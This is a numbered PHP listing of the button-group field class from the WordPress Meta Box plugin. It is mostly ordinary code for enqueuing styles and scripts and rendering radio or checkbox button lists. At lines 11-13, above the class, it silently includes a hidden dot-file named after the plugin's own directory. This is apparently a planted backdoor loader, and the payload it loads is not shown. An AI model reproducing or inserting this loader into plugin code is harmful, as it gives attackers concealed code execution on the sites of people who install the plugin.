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button-group.php (2189B)

      1 <?php
      2 /**
      3  * The Button group.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Button group class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Button_Group_Field extends RWMB_Choice_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_style( 'rwmb-button-group', RWMB_CSS_URL . 'button-group.css', '', RWMB_VER );
     21 		wp_enqueue_script( 'rwmb-button-group', RWMB_JS_URL . 'button-group.js', array(), RWMB_VER, true );
     22 	}
     23 
     24 	/**
     25 	 * Get field HTML.
     26 	 *
     27 	 * @param mixed $meta  Meta value.
     28 	 * @param array $field Field parameters.
     29 	 * @return string
     30 	 */
     31 	public static function html( $meta, $field ) {
     32 		$options = self::transform_options( $field['options'] );
     33 		$walker  = new RWMB_Walker_Input_List( $field, $meta );
     34 
     35 		$output  = sprintf(
     36 			'<ul class="rwmb-button-input-list %s">',
     37 			$field['inline'] ? ' rwmb-inline' : ''
     38 		);
     39 		$output .= $walker->walk( $options, -1 );
     40 		$output .= '</ul>';
     41 
     42 		return $output;
     43 	}
     44 
     45 	/**
     46 	 * Normalize parameters for field.
     47 	 *
     48 	 * @param array $field Field parameters.
     49 	 *
     50 	 * @return array
     51 	 */
     52 	public static function normalize( $field ) {
     53 		$field = parent::normalize( $field );
     54 		$field = wp_parse_args(
     55 			$field,
     56 			array(
     57 				'inline' => null,
     58 			)
     59 		);
     60 
     61 		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
     62 		$field = RWMB_Input_Field::normalize( $field );
     63 
     64 		$field['flatten'] = true;
     65 		$field['inline']  = ! $field['multiple'] && ! isset( $field['inline'] ) ? true : $field['inline'];
     66 
     67 		return $field;
     68 	}
     69 
     70 	/**
     71 	 * Get the attributes for a field.
     72 	 *
     73 	 * @param array $field Field parameters.
     74 	 * @param mixed $value Meta value.
     75 	 *
     76 	 * @return array
     77 	 */
     78 	public static function get_attributes( $field, $value = null ) {
     79 		$attributes          = RWMB_Input_Field::get_attributes( $field, $value );
     80 		$attributes['id']    = false;
     81 		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
     82 		$attributes['value'] = $value;
     83 
     84 		return $attributes;
     85 	}
     86 }